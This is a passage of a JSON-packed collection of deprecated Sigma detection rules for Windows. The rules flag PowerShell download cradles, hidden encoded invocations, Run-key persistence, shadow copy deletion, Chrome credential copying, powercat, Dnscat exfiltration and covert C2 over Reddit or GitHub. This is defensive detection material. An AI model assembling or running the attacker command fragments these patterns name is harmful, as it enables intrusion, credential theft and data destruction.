- '\\Content.Outlook\\'\n condition: all of selection_*\nfalsepositives:\n - Whenever someone receives an RDP file as an email attachment and decides to save or open it right from the attachments\nlevel: high\n"
},
{
"path": "deprecated/windows/file_event_win_susp_clr_logs.yml",
"content": "title: Suspicious CLR Logs Creation\nid: e4b63079-6198-405c-abd7-3fe8b0ce3263\nstatus: deprecated\ndescription: Detects suspicious .NET assembly executions. Could detect using Cobalt Strike's command execute-assembly.\nreferences:\n - https://web.archive.org/web/20230329154538/https://blog.menasec.net/2019/07/interesting-difr-traces-of-net-clr.html\n - https://bohops.com/2021/03/16/investigating-net-clr-usage-log-tampering-techniques-for-edr-evasion/\n - https://github.com/olafhartong/sysmon-modular/blob/5e5f6d90819a7f35eec0aba08021d0d201bb9055/11_file_create/include_dotnet.xml\nauthor: omkar72, oscd.community, Wojciech Lesicki\ndate: 2020/10/12\nmodified: 2023/01/05\ntags:\n - attack.execution\n - attack.defense_evasion\n - attack.t1059.001\n - attack.t1218\nlogsource:\n category: file_event\n product: windows\n definition: Check your sysmon configuration for monitoring UsageLogs folder. In SwiftOnSecurity configuration we have that thanks @SBousseaden\ndetection:\n selection:\n TargetFilename|contains|all:\n - '\\AppData\\Local\\Microsoft\\CLR'\n - '\\UsageLogs\\'\n TargetFilename|contains:\n - 'mshta'\n - 'cscript'\n - 'wscript'\n - 'regsvr32'\n - 'wmic'\n - 'rundll32'\n - 'svchost'\n condition: selection\nfalsepositives:\n - Rundll32.exe with zzzzInvokeManagedCustomActionOutOfProc in command line and msiexec.exe as parent process - https://twitter.com/SBousseaden/status/1388064061087260675\nlevel: high\n"
},
{
"path": "deprecated/windows/image_load_alternate_powershell_hosts_moduleload.yml",
"content": "title: Alternate PowerShell Hosts - Image\nid: fe6e002f-f244-4278-9263-20e4b593827f\nstatus: deprecated\ndescription: Detects alternate PowerShell hosts potentially bypassing detections looking for powershell.exe\nreferences:\n - https://threathunterplaybook.com/hunts/windows/190610-PwshAlternateHosts/notebook.html\nauthor: Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research)\ndate: 2019/09/12\nmodified: 2023/06/01\ntags:\n - attack.execution\n - attack.t1059.001\nlogsource:\n product: windows\n category: image_load\ndetection:\n selection:\n Description: 'System.Management.Automation'\n ImageLoaded|contains: 'System.Management.Automation'\n filter_generic:\n - Image|endswith:\n - '\\powershell.exe'\n - '\\mscorsvw.exe'\n - Image|startswith:\n - 'C:\\Program Files (x86)\\Microsoft Visual Studio\\'\n - 'C:\\Program Files\\Microsoft Visual Studio\\'\n - 'C:\\Windows\\System32\\'\n - 'C:\\Program Files\\Citrix\\ConfigSync\\'\n - Image: 'C:\\Program Files\\PowerShell\\7\\pwsh.exe'\n filter_aurora:\n # This filter is to avoid a race condition FP with this specific ETW provider in aurora\n Image: null\n condition: selection and not 1 of filter_*\nfalsepositives:\n - Unknown\nlevel: low\n"
},
{
"path": "deprecated/windows/image_load_office_dsparse_dll_load.yml",
"content": "title: Active Directory Parsing DLL Loaded Via Office Application\nid: a2a3b925-7bb0-433b-b508-db9003263cc4\nstatus: deprecated # In the AD Environment, dsparse.dll is loaded everytime an Office application is launched, so this rule is not useful.\ndescription: Detects DSParse DLL being loaded by an Office Product\nreferences:\n - https://medium.com/threatpunter/detecting-adversary-tradecraft-with-image-load-event-logging-and-eql-8de93338c16\nauthor: Antonlovesdnb\ndate: 2020-02-19\nmodified: 2025-10-17\ntags:\n - attack.execution\n - attack.t1204.002\nlogsource:\n category: image_load\n product: windows\ndetection:\n selection:\n Image|endswith:\n - '\\excel.exe'\n - '\\mspub.exe'\n - '\\onenote.exe'\n - '\\onenoteim.exe' # Just in case\n - '\\outlook.exe'\n - '\\powerpnt.exe'\n - '\\winword.exe'\n ImageLoaded|contains: '\\dsparse.dll'\n condition: selection\nfalsepositives:\n - Unknown\nlevel: medium\n"
},
{
"path": "deprecated/windows/image_load_office_kerberos_dll_load.yml",
"content": "title: Active Directory Kerberos DLL Loaded Via Office Application\nid: 7417e29e-c2e7-4cf6-a2e8-767228c64837\nstatus: deprecated # In the AD Environment, kerberos.dll is loaded everytime an Office application is launched, so this rule is not useful.\ndescription: Detects Kerberos DLL being loaded by an Office Product\nreferences:\n - https://medium.com/threatpunter/detecting-adversary-tradecraft-with-image-load-event-logging-and-eql-8de93338c16\nauthor: Antonlovesdnb\ndate: 2020-02-19\nmodified: 2025-10-22\ntags:\n - attack.execution\n - attack.t1204.002\nlogsource:\n category: image_load\n product: windows\ndetection:\n selection:\n Image|endswith:\n - '\\excel.exe'\n - '\\mspub.exe'\n - '\\onenote.exe'\n - '\\onenoteim.exe' # Just in case\n - '\\outlook.exe'\n - '\\powerpnt.exe'\n - '\\winword.exe'\n ImageLoaded|endswith: '\\kerberos.dll'\n condition: selection\nfalsepositives:\n - Unknown\nlevel: medium\n"
},
{
"path": "deprecated/windows/image_load_side_load_advapi32.yml",
"content": "title: Suspicious Load of Advapi31.dll\nid: d813d662-785b-42ca-8b4a-f7457d78d5a9\nstatus: deprecated\ndescription: Detects the load of advapi31.dll by a process running in an uncommon folder\nreferences:\n - https://github.com/hlldz/Phant0m\nauthor: frack113\ndate: 2022/02/03\nmodified: 2023/03/15\ntags:\n - attack.defense_evasion\n - attack.t1070\nlogsource:\n product: windows\n category: image_load\ndetection:\n selection:\n ImageLoaded|endswith: '\\advapi32.dll'\n filter_common:\n Image|startswith:\n - 'C:\\Windows\\'\n - 'C:\\Program Files (x86)\\'\n - 'C:\\Program Files\\'\n filter_defender:\n Image|startswith: 'C:\\ProgramData\\Microsoft\\Windows Defender\\platform\\'\n Image|endswith: '\\MpCmdRun.exe'\n filter_onedrive:\n Image|startswith: 'C:\\Users\\'\n Image|contains: '\\AppData\\Local\\Microsoft\\OneDrive\\'\n Image|endswith: 'FileCoAuth.exe'\n condition: selection and not 1 of filter_*\nfalsepositives:\n - Unknown\nlevel: informational\n"
},
{
"path": "deprecated/windows/image_load_side_load_scm.yml",
"content": "title: SCM DLL Sideload\nid: bc3cc333-48b9-467a-9d1f-d44ee594ef48\nrelated:\n - id: 602a1f13-c640-4d73-b053-be9a2fa58b77\n type: similar\nstatus: deprecated\ndescription: Detects DLL sideloading of DLLs that are loaded by the SCM for some services (IKE, IKEEXT, SessionEnv) which do not exists on a typical modern system\nreferences:\n - https://decoded.avast.io/martinchlumecky/png-steganography/\n - https://posts.specterops.io/lateral-movement-scm-and-dll-hijacking-primer-d2f61e8ab992\nauthor: Nasreddine Bencherchali (Nextron Systems)\ndate: 2022/12/01\nmodified: 2023/02/14\ntags:\n - attack.defense_evasion\n - attack.persistence\n - attack.privilege_escalation\n - attack.t1574.001\nlogsource:\n category: image_load\n product: windows\ndetection:\n selection:\n ImageLoaded:\n - 'C:\\Windows\\System32\\WLBSCTRL.dll'\n - 'C:\\Windows\\System32\\TSMSISrv.dll'\n - 'C:\\Windows\\System32\\TSVIPSrv.dll'\n Image: 'C:\\Windows\\System32\\svchost.exe'\n condition: selection\nfalsepositives:\n - Unknown\nlevel: medium\n"
},
{
"path": "deprecated/windows/image_load_side_load_svchost_dlls.yml",
"content": "title: Svchost DLL Search Order Hijack\nid: 602a1f13-c640-4d73-b053-be9a2fa58b77\nstatus: deprecated\ndescription: |\n Detects DLL sideloading of DLLs that are loaded by the SCM for some services (IKE, IKEEXT, SessionEnv) which do not exists on a typical modern system\n IKEEXT and SessionEnv service, as they call LoadLibrary on files that do not exist within C:\\Windows\\System32\\ by default.\n An attacker can place their malicious logic within the PROCESS_ATTACH block of their library and restart the aforementioned services \"svchost.exe -k netsvcs\" to gain code execution on a remote machine.\nreferences:\n - https://decoded.avast.io/martinchlumecky/png-steganography/\n - https://posts.specterops.io/lateral-movement-scm-and-dll-hijacking-primer-d2f61e8ab992\nauthor: SBousseaden\ndate: 2019/10/28\nmodified: 2024/01/10\ntags:\n - attack.persistence\n - attack.defense_evasion\n - attack.t1574.001\nlogsource:\n category: image_load\n product: windows\ndetection:\n selection:\n Image|endswith: '\\svchost.exe'\n ImageLoaded|endswith:\n - '\\tsmsisrv.dll'\n - '\\tsvipsrv.dll'\n - '\\wlbsctrl.dll'\n filter:\n ImageLoaded|startswith: 'C:\\Windows\\WinSxS\\'\n condition: selection and not filter\nfalsepositives:\n - Unknown\nlevel: high\n"
},
{
"path": "deprecated/windows/image_load_susp_uncommon_image_load.yml",
"content": "title: Possible Process Hollowing Image Loading\nid: e32ce4f5-46c6-4c47-ba69-5de3c9193cd7\nstatus: deprecated # Needs to be a correlation rule\ndescription: Detects Loading of samlib.dll, WinSCard.dll from untypical process e.g. through process hollowing by Mimikatz\nreferences:\n - https://web.archive.org/web/20220815065318/https://cyberwardog.blogspot.com/2017/03/chronicles-of-threat-hunter-hunting-for.html\nauthor: Markus Neis\ndate: 2018/01/07\nmodified: 2024/01/22\ntags:\n - attack.defense_evasion\n - attack.t1574.001\nlogsource:\n category: image_load\n product: windows\ndetection:\n selection:\n Image|endswith: '\\notepad.exe'\n ImageLoaded|endswith:\n - '\\samlib.dll'\n - '\\WinSCard.dll'\n condition: selection\nfalsepositives:\n - Very likely, needs more tuning\nlevel: high\n"
},
{
"path": "deprecated/windows/image_load_susp_winword_wmidll_load.yml",
"content": "title: Windows Management Instrumentation DLL Loaded Via Microsoft Word\nid: a457f232-7df9-491d-898f-b5aabd2cbe2f\nstatus: deprecated\ndescription: Detects DLL's Loaded Via Word Containing VBA Macros Executing WMI Commands\nreferences:\n - https://medium.com/threatpunter/detecting-adversary-tradecraft-with-image-load-event-logging-and-eql-8de93338c16\n - https://www.carbonblack.com/2019/04/24/cb-tau-threat-intelligence-notification-emotet-utilizing-wmi-to-launch-powershell-encoded-code/\n - https://media.cert.europa.eu/static/SecurityAdvisories/2019/CERT-EU-SA2019-021.pdf\nauthor: Michael R. (@nahamike01)\ndate: 2019/12/26\nmodified: 2022/05/14\ntags:\n - attack.execution\n - attack.t1047\nlogsource:\n category: image_load\n product: windows\ndetection:\n selection:\n Image|endswith:\n - '\\winword.exe'\n - '\\powerpnt.exe'\n - '\\excel.exe'\n - '\\outlook.exe'\n ImageLoaded|endswith:\n - '\\wmiutils.dll'\n - '\\wbemcomn.dll'\n - '\\wbemprox.dll'\n - '\\wbemdisp.dll'\n # - '\\wbemsvc.dll' # too many FPs, tested with Win11 and O365\n condition: selection\nfalsepositives:\n - Possible. Requires further testing.\nlevel: informational\n"
},
{
"path": "deprecated/windows/net_connection_win_binary_github_com.yml",
"content": "title: Microsoft Binary Github Communication\nid: 635dbb88-67b3-4b41-9ea5-a3af2dd88153\nstatus: deprecated\ndescription: Detects an executable in the Windows folder accessing github.com\nreferences:\n - https://twitter.com/M_haggis/status/900741347035889665\n - https://twitter.com/M_haggis/status/1032799638213066752\n - https://github.com/EmpireProject/Empire/blob/e37fb2eef8ff8f5a0a689f1589f424906fe13055/data/module_source/exfil/Invoke-ExfilDataToGitHub.ps1\nauthor: Michael Haag (idea), Florian Roth (Nextron Systems)\ndate: 2017/08/24\nmodified: 2023/04/18\ntags:\n - attack.command_and_control\n - attack.t1105\n - attack.exfiltration\n - attack.t1567.001\nlogsource:\n category: network_connection\n product: windows\ndetection:\n selection:\n Initiated: 'true'\n DestinationHostname|endswith:\n - '.github.com'\n - '.githubusercontent.com'\n Image|startswith: 'C:\\Windows\\'\n condition: selection\nfalsepositives:\n - Unknown\n - '@subTee in your network'\nlevel: high\n"
},
{
"path": "deprecated/windows/net_connection_win_reddit_api_non_browser_access.yml",
"content": "title: Suspicious Non-Browser Network Communication With Reddit API\nid: d7b09985-95a3-44be-8450-b6eadf49833e\nstatus: deprecated # In favour of 297ae038-edc2-4b2e-bb3e-7c5fc94dd5c7\ndescription: Detects an a non-browser process interacting with the Reddit API which could indicate use of a covert C2 such as RedditC2\nreferences:\n - https://github.com/kleiton0x00/RedditC2\n - https://twitter.com/kleiton0x7e/status/1600567316810551296\n - https://www.linkedin.com/posts/kleiton-kurti_github-kleiton0x00redditc2-abusing-reddit-activity-7009939662462984192-5DbI/?originalSubdomain=al\nauthor: Gavin Knapp\ndate: 2023/02/16\nmodified: 2024/02/02\ntags:\n - attack.command_and_control\n - attack.t1102\nlogsource:\n product: windows\n category: network_connection\ndetection:\n selection:\n DestinationHostname|contains: 'reddit.com' # Match with Reddit API when you can\n # Other browsers or apps known to use reddit should be added\n # TODO: Add full paths for default install locations\n filter_optional_brave:\n Image|endswith: '\\brave.exe'\n filter_optional_chrome:\n Image:\n - 'C:\\Program Files\\Google\\Chrome\\Application\\chrome.exe'\n - 'C:\\Program Files (x86)\\Google\\Chrome\\Application\\chrome.exe'\n filter_optional_firefox:\n Image:\n - 'C:\\Program Files\\Mozilla Firefox\\firefox.exe'\n - 'C:\\Program Files (x86)\\Mozilla Firefox\\firefox.exe'\n filter_optional_ie:\n Image:\n - 'C:\\Program Files (x86)\\Internet Explorer\\iexplore.exe'\n - 'C:\\Program Files\\Internet Explorer\\iexplore.exe'\n filter_optional_maxthon:\n Image|endswith: '\\maxthon.exe'\n filter_optional_edge_1:\n - Image|startswith: 'C:\\Program Files (x86)\\Microsoft\\EdgeWebView\\Application\\'\n - Image|endswith: '\\WindowsApps\\MicrosoftEdge.exe'\n - Image:\n - 'C:\\Program Files (x86)\\Microsoft\\Edge\\Application\\msedge.exe'\n - 'C:\\Program Files\\Microsoft\\Edge\\Application\\msedge.exe'\n filter_optional_edge_2:\n Image|startswith:\n - 'C:\\Program Files (x86)\\Microsoft\\EdgeCore\\'\n - 'C:\\Program Files\\Microsoft\\EdgeCore\\'\n Image|endswith:\n - '\\msedge.exe'\n - '\\msedgewebview2.exe'\n filter_optional_opera:\n Image|endswith: '\\opera.exe'\n filter_optional_safari:\n Image|endswith: '\\safari.exe'\n filter_optional_seamonkey:\n Image|endswith: '\\seamonkey.exe'\n filter_optional_vivaldi:\n Image|endswith: '\\vivaldi.exe'\n filter_optional_whale:\n Image|endswith: '\\whale.exe'\n condition: selection and not 1 of filter_optional_*\nfalsepositives:\n - Legitimate applications communicating with the Reddit API e.g. web browsers not in the exclusion list, app with an RSS etc.\nlevel: medium\n"
},
{
"path": "deprecated/windows/net_connection_win_susp_epmap.yml",
"content": "title: Suspicious Epmap Connection\nid: 628d7a0b-7b84-4466-8552-e6138bc03b43\nstatus: deprecated\ndescription: Detects suspicious \"epmap\" connection to a remote computer via remote procedure call (RPC)\nreferences:\n - https://github.com/RiccardoAncarani/TaskShell/\nauthor: frack113, Tim Shelton (fps)\ndate: 2022/07/14\nmodified: 2024/03/01\ntags:\n - attack.lateral_movement\nlogsource:\n category: network_connection\n product: windows\ndetection:\n selection:\n Protocol: tcp\n Initiated: 'true'\n DestinationPort: 135\n # DestinationPortName: epmap\n filter_image:\n Image|startswith:\n - C:\\Windows\\\n - C:\\ProgramData\\Amazon\\SSM\\Update\\amazon-ssm-agent-updater\n filter_image_null1:\n Image: null\n filter_image_null2:\n Image: ''\n filter_image_unknown:\n Image: ''\n condition: selection and not 1 of filter_*\nfalsepositives:\n - Unknown\nlevel: high\n"
},
{
"path": "deprecated/windows/pipe_created_psexec_pipes_artifacts.yml",
"content": "title: PsExec Pipes Artifacts\nid: 9e77ed63-2ecf-4c7b-b09d-640834882028\nstatus: deprecated\ndescription: Detecting use PsExec via Pipe Creation/Access to pipes\nreferences:\n - https://drive.google.com/file/d/1lKya3_mLnR3UQuCoiYruO3qgu052_iS_/view\nauthor: Nikita Nazarov, oscd.community\ndate: 2020/05/10\nmodified: 2023/08/07\ntags:\n - attack.lateral_movement\n - attack.t1021.002\n - attack.execution\n - attack.t1569.002\nlogsource:\n product: windows\n category: pipe_created\n definition: 'Note that you have to configure logging for Named Pipe Events in Sysmon config (Event ID 17 and Event ID 18). The basic configuration is in popular sysmon configuration (https://github.com/SwiftOnSecurity/sysmon-config), but it is worth verifying. You can also use other repo, e.g. https://github.com/Neo23x0/sysmon-config, https://github.com/olafhartong/sysmon-modular. How to test detection? You can check powershell script from this site https://svch0st.medium.com/guide-to-named-pipes-and-hunting-for-cobalt-strike-pipes-dc46b2c5f575'\ndetection:\n selection:\n PipeName|startswith:\n - 'psexec'\n - 'paexec'\n - 'remcom'\n - 'csexec'\n condition: selection\nfalsepositives:\n - Legitimate Administrator activity\nlevel: medium\n"
},
{
"path": "deprecated/windows/posh_pm_powercat.yml",
"content": "title: Netcat The Powershell Version - PowerShell Module\nid: bf7286e7-c0be-460b-a7e8-5b2e07ecc2f2\nstatus: deprecated\ndescription: Adversaries may use a non-application layer protocol for communication between host and C2 server or among infected hosts within a network\nreferences:\n - https://nmap.org/ncat/\n - https://github.com/besimorhino/powercat\n - https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1095/T1095.md\nauthor: frack113\ndate: 2021/07/21\nmodified: 2023/01/20\ntags:\n - attack.command_and_control\n - attack.t1095\nlogsource:\n product: windows\n category: ps_module\n definition: 'Requirements: PowerShell Module Logging must be enabled'\ndetection:\n selection:\n ContextInfo|contains:\n - 'powercat '\n - 'powercat.ps1'\n condition: selection\nfalsepositives:\n - Unknown\nlevel: medium\n"
},
{
"path": "deprecated/windows/posh_ps_access_to_chrome_login_data.yml",
"content": "title: Accessing Encrypted Credentials from Google Chrome Login Database\nid: 98f4c75c-3089-44f3-b733-b327b9cd9c9d\nstatus: deprecated\nauthor: frack113\ndate: 2021/12/20\nmodified: 2022/05/14\ndescription: |\n Adversaries may acquire credentials from web browsers by reading files specific to the target browser.\n Web browsers commonly save credentials such as website usernames and passwords so that they do not need to be entered manually in the future.\n Web browsers typically store the credentials in an encrypted format within a credential store.\nreferences:\n - https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1555.003/T1555.003.md\nlogsource:\n product: windows\n category: ps_script\n definition: Script block logging must be enabled\ndetection:\n selection_cmd:\n ScriptBlockText|contains|all:\n - Copy-Item\n - '-Destination'\n selection_path:\n ScriptBlockText|contains:\n - '\\Google\\Chrome\\User Data\\Default\\Login Data'\n - '\\Google\\Chrome\\User Data\\Default\\Login Data For Account'\n condition: all of selection_*\nfalsepositives:\n - Unknown\nlevel: medium\ntags:\n - attack.credential_access\n - attack.t1555.003\n"
},
{
"path": "deprecated/windows/posh_ps_azurehound_commands.yml",
"content": "title: AzureHound PowerShell Commands\nid: 83083ac6-1816-4e76-97d7-59af9a9ae46e\nstatus: deprecated\ndescription: Detects the execution of AzureHound in PowerShell, a tool to gather data from Azure for BloodHound\nreferences:\n - https://github.com/BloodHoundAD/BloodHound/blob/0927441f67161cc6dc08a53c63ceb8e333f55874/Collectors/AzureHound.ps1\n - https://bloodhound.readthedocs.io/en/latest/data-collection/azurehound.html\nauthor: Austin Songer (@austinsonger)\ndate: 2021/10/23\nmodified: 2023/01/02\ntags:\n - attack.discovery\n - attack.t1482\n - attack.t1087\n - attack.t1087.001\n - attack.t1087.002\n - attack.t1069.001\n - attack.t1069.002\n - attack.t1069\nlogsource:\n product: windows\n category: ps_script\n definition: Script Block Logging must be enabled\ndetection:\n selection:\n ScriptBlockText|contains: Invoke-AzureHound\n condition: selection\nfalsepositives:\n - Unknown\nlevel: high\n"
},
{
"path": "deprecated/windows/posh_ps_cl_invocation_lolscript.yml",
"content": "title: Execution via CL_Invocation.ps1 - Powershell\nid: 4cd29327-685a-460e-9dac-c3ab96e549dc\nstatus: deprecated\ndescription: Detects Execution via SyncInvoke in CL_Invocation.ps1 module\nreferences:\n - https://lolbas-project.github.io/lolbas/Scripts/Cl_invocation/\n - https://twitter.com/bohops/status/948061991012327424\nauthor: oscd.community, Natalia Shornikova\ndate: 2020/10/14\nmodified: 2023/08/17\ntags:\n - attack.defense_evasion\n - attack.t1216\nlogsource:\n product: windows\n category: ps_script\n definition: 'Requirements: Script Block Logging must be enabled'\ndetection:\n selection:\n ScriptBlockText|contains|all:\n - 'CL_Invocation.ps1'\n - 'SyncInvoke'\n condition: selection\nfalsepositives:\n - Unknown\nlevel: high\n"
},
{
"path": "deprecated/windows/posh_ps_cl_mutexverifiers_lolscript.yml",
"content": "title: Execution via CL_Mutexverifiers.ps1\nid: 39776c99-1c7b-4ba0-b5aa-641525eee1a4\nstatus: deprecated\ndescription: Detects Execution via runAfterCancelProcess in CL_Mutexverifiers.ps1 module\nreferences:\n - https://lolbas-project.github.io/lolbas/Scripts/CL_mutexverifiers/\n - https://twitter.com/pabraeken/status/995111125447577600\nauthor: oscd.community, Natalia Shornikova\ndate: 2020/10/14\nmodified: 2023/08/17\ntags:\n - attack.defense_evasion\n - attack.t1216\nlogsource:\n product: windows\n category: ps_script\n definition: 'Requirements: Script Block Logging must be enabled'\ndetection:\n selection:\n ScriptBlockText|contains|all:\n - 'CL_Mutexverifiers.ps1'\n - 'runAfterCancelProcess'\n condition: selection\nfalsepositives:\n - Unknown\nlevel: high\n"
},
{
"path": "deprecated/windows/posh_ps_dnscat_execution.yml",
"content": "title: Dnscat Execution\nid: a6d67db4-6220-436d-8afc-f3842fe05d43\nstatus: deprecated # In favour of the more generic Susp and Malicious Cmdlet rules\ndescription: Dnscat exfiltration tool execution\nauthor: Daniil Yugoslavskiy, oscd.community\ndate: 2019/10/24\nmodified: 2024/01/25\ntags:\n - attack.exfiltration\n - attack.t1048\n - attack.execution\n - attack.t1059.001\nlogsource:\n product: windows\n category: ps_script\n definition: 'Requirements: Script Block Logging must be enabled'\ndetection:\n selection:\n ScriptBlockText|contains: 'Start-Dnscat2'\n condition: selection\nfalsepositives:\n - Legitimate usage of PowerShell Dnscat2 — DNS Exfiltration tool (unlikely)\nlevel: critical\n"
},
{
"path": "deprecated/windows/posh_ps_exchange_mailbox_smpt_forwarding_rule.yml",
"content": "title: Suspicious PowerShell Mailbox SMTP Forward Rule\nid: 15b7abbb-8b40-4d01-9ee2-b51994b1d474\nstatus: deprecated\ndescription: Detects usage of the powerShell Set-Mailbox Cmdlet to set-up an SMTP forwarding rule.\nreferences:\n - https://m365internals.com/2022/10/07/hunting-in-on-premises-exchange-server-logs/\nauthor: Nasreddine Bencherchali (Nextron Systems)\ndate: 2022-10-26\nmodified: 2026-03-01\ntags:\n - attack.exfiltration\nlogsource:\n product: windows\n category: ps_script\n definition: 'Requirements: Script Block Logging must be enabled'\ndetection:\n selection:\n ScriptBlockText|contains|all:\n - 'Set-Mailbox '\n - ' -DeliverToMailboxAndForward '\n - ' -ForwardingSmtpAddress '\n condition: selection\nfalsepositives:\n - Legitimate usage of the cmdlet to forward emails\nlevel: medium\n"
},
{
"path": "deprecated/windows/posh_ps_file_and_directory_discovery.yml",
"content": "title: Powershell File and Directory Discovery\nid: d23f2ba5-9da0-4463-8908-8ee47f614bb9\nstatus: deprecated\ndescription: |\n Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system.\n Adversaries may use the information from [File and Directory Discovery](https://attack.mitre.org/techniques/T1083) during automated discovery to shape follow-on behaviors,\n including whether or not the adversary fully infects the target and/or attempts specific actions.\nreferences:\n - https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1083/T1083.md\nauthor: frack113\ndate: 2021/12/15\nmodified: 2023/12/11\ntags:\n - attack.discovery\n - attack.t1083\nlogsource:\n product: windows\n category: ps_script\n definition: 'Requirements: Script Block Logging must be enabled'\ndetection:\n selection:\n ScriptBlockText|contains:\n - ls\n - get-childitem\n - gci\n recurse:\n ScriptBlockText|contains: '-recurse'\n condition: selection and recurse\nfalsepositives:\n - Unknown\nlevel: low\n"
},
{
"path": "deprecated/windows/posh_ps_invoke_nightmare.yml",
"content": "title: PrintNightmare Powershell Exploitation\nid: 6d3f1399-a81c-4409-aff3-1ecfe9330baf\nstatus: deprecated\ndescription: Detects Commandlet name for PrintNightmare exploitation.\nreferences:\n - https://github.com/calebstewart/CVE-2021-1675\nauthor: Max Altgelt (Nextron Systems), Tobias Michalski (Nextron Systems)\ndate: 2021/08/09\nmodified: 2023/01/02\ntags:\n - attack.privilege_escalation\n - attack.t1548\nlogsource:\n product: windows\n category: ps_script\n definition: Script Block Logging must be enabled\ndetection:\n selection:\n ScriptBlockText|contains: 'Invoke-Nightmare'\n condition: selection\nfalsepositives:\n - Unknown\nlevel: high\n"
},
{
"path": "deprecated/windows/posh_ps_susp_gwmi.yml",
"content": "title: Suspicious Get-WmiObject\nid: 0332a266-b584-47b4-933d-a00b103e1b37\nstatus: deprecated\ndescription: The infrastructure for management data and operations that enables local and remote management of Windows personal computers and servers\nreferences:\n - https://attack.mitre.org/datasources/DS0005/\n - https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.management/get-wmiobject?view=powershell-5.1&viewFallbackFrom=powershell-7\nauthor: frack113\ndate: 2022/01/12\nmodified: 2023/12/11\ntags:\n - attack.persistence\n - attack.t1546\nlogsource:\n product: windows\n category: ps_script\n definition: 'Requirements: Script Block Logging must be enabled'\ndetection:\n selection:\n ScriptBlockText|contains:\n - 'Get-WmiObject'\n - 'gwmi'\n filter_cl_utility:\n Path|endswith: '\\CL_Utility.ps1'\n ScriptBlockText|contains|all:\n - 'function Get-FreeSpace'\n - 'SELECT * FROM Win32_LogicalDisk WHERE MediaType=12'\n condition: selection and not 1 of filter_*\nfalsepositives:\n - Legitimate PowerShell scripts\nlevel: low\n"
},
{
"path": "deprecated/windows/powershell_ps_susp_win32_shadowcopy.yml",
"content": "title: Delete Volume Shadow Copies via WMI with PowerShell - PS Script\nid: e17121b4-ef2a-4418-8a59-12fb1631fa9e\nrelated:\n - id: 21ff4ca9-f13a-41ad-b828-0077b2af2e40\n type: similar\n - id: c1337eb8-921a-4b59-855b-4ba188ddcc42\n type: similar\nstatus: deprecated\ndescription: Deletes Windows Volume Shadow Copies with PowerShell code and Get-WMIObject. This technique is used by numerous ransomware families such as Sodinokibi/REvil\nreferences:\n - https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1490/T1490.md#atomic-test-5---windows---delete-volume-shadow-copies-via-wmi-with-powershell\nauthor: frack113\ndate: 2021-12-26\nmodified: 2025-05-20\ntags:\n - attack.impact\n - attack.t1490\nlogsource:\n product: windows\n category: ps_script\n definition: 'Requirements: Script Block Logging must be enabled'\ndetection:\n selection:\n ScriptBlockText|contains|all:\n - 'Get-WmiObject'\n - 'Win32_ShadowCopy'\n - '.Delete()'\n condition: selection\nfalsepositives:\n - Unknown\nlevel: high\n"
},
{
"path": "deprecated/windows/powershell_suspicious_download.yml",
"content": "title: Suspicious PowerShell Download\nid: 65531a81-a694-4e31-ae04-f8ba5bc33759\nstatus: deprecated\ndescription: Detects suspicious PowerShell download command\ntags:\n - attack.execution\n - attack.t1059.001\nauthor: Florian Roth (Nextron Systems)\ndate: 2017/03/05\nmodified: 2022/04/11\nlogsource:\n product: windows\n service: powershell\ndetection:\n webclient:\n - 'System.Net.WebClient'\n download:\n - '.DownloadFile('\n - '.DownloadString('\n condition: webclient and download\nfalsepositives:\n - PowerShell scripts that download content from the Internet\nlevel: medium"
},
{
"path": "deprecated/windows/powershell_suspicious_invocation_generic.yml",
"content": "title: Suspicious PowerShell Invocations - Generic\nid: 3d304fda-78aa-43ed-975c-d740798a49c1\nstatus: deprecated\ndescription: Detects suspicious PowerShell invocation command parameters\ntags:\n - attack.execution\n - attack.t1059.001\nauthor: Florian Roth (Nextron Systems)\ndate: 2017/03/12\nmodified: 2022/04/11\nlogsource:\n product: windows\n service: powershell\ndetection:\n selection_encoded:\n - ' -enc '\n - ' -EncodedCommand '\n selection_hidden:\n - ' -w hidden '\n - ' -window hidden '\n - ' -windowstyle hidden '\n selection_noninteractive:\n - ' -noni '\n - ' -noninteractive '\n condition: all of selection*\nfalsepositives:\n - Very special / sneaky PowerShell scripts\nlevel: high\n"
},
{
"path": "deprecated/windows/powershell_suspicious_invocation_specific.yml",
"content": "title: Suspicious PowerShell Invocations - Specific\nid: fce5f582-cc00-41e1-941a-c6fabf0fdb8c\nstatus: deprecated\ndescription: Detects suspicious PowerShell invocation command parameters\ntags:\n - attack.execution\n - attack.t1059.001\nauthor: Florian Roth (Nextron Systems), Jonhnathan Ribeiro\ndate: 2017/03/05\nmodified: 2023/05/04\nlogsource:\n product: windows\n service: powershell\n definition: Script block logging must be enabled for 4104, Module Logging must be enabled for 4103\ndetection:\n selection_convert_b64:\n '|all':\n - '-nop'\n - ' -w '\n - 'hidden'\n - ' -c '\n - '[Convert]::FromBase64String'\n selection_iex:\n '|all':\n - ' -w '\n - 'hidden'\n - '-noni'\n - '-nop'\n - ' -c '\n - 'iex'\n - 'New-Object'\n selection_enc:\n '|all':\n - ' -w '\n - 'hidden'\n - '-ep'\n - 'bypass'\n - '-Enc'\n selection_reg:\n '|all':\n - 'powershell'\n - 'reg'\n - 'add'\n - 'HKCU\\software\\microsoft\\windows\\currentversion\\run'\n selection_webclient:\n '|all':\n - 'bypass'\n - '-noprofile'\n - '-windowstyle'\n - 'hidden'\n - 'new-object'\n - 'system.net.webclient'\n - '.download'\n selection_iex_webclient:\n '|all':\n - 'iex'\n - 'New-Object'\n - 'Net.WebClient'\n - '.Download'\n filter_chocolatey:\n - \"(New-Object System.Net.WebClient).DownloadString('https://community.chocolatey.org/install.ps1\"\n - \"(New-Object System.Net.WebClient).DownloadString('https://chocolatey.org/install.ps1')\"\n - 'Write-ChocolateyWarning'\n condition: 1 of selection_* and not 1 of filter_*\nfalsepositives:\n - Unknown\nlevel: high\n"
},
{
"path": "deprecated/windows/powershell_syncappvpublishingserver_exe.yml",
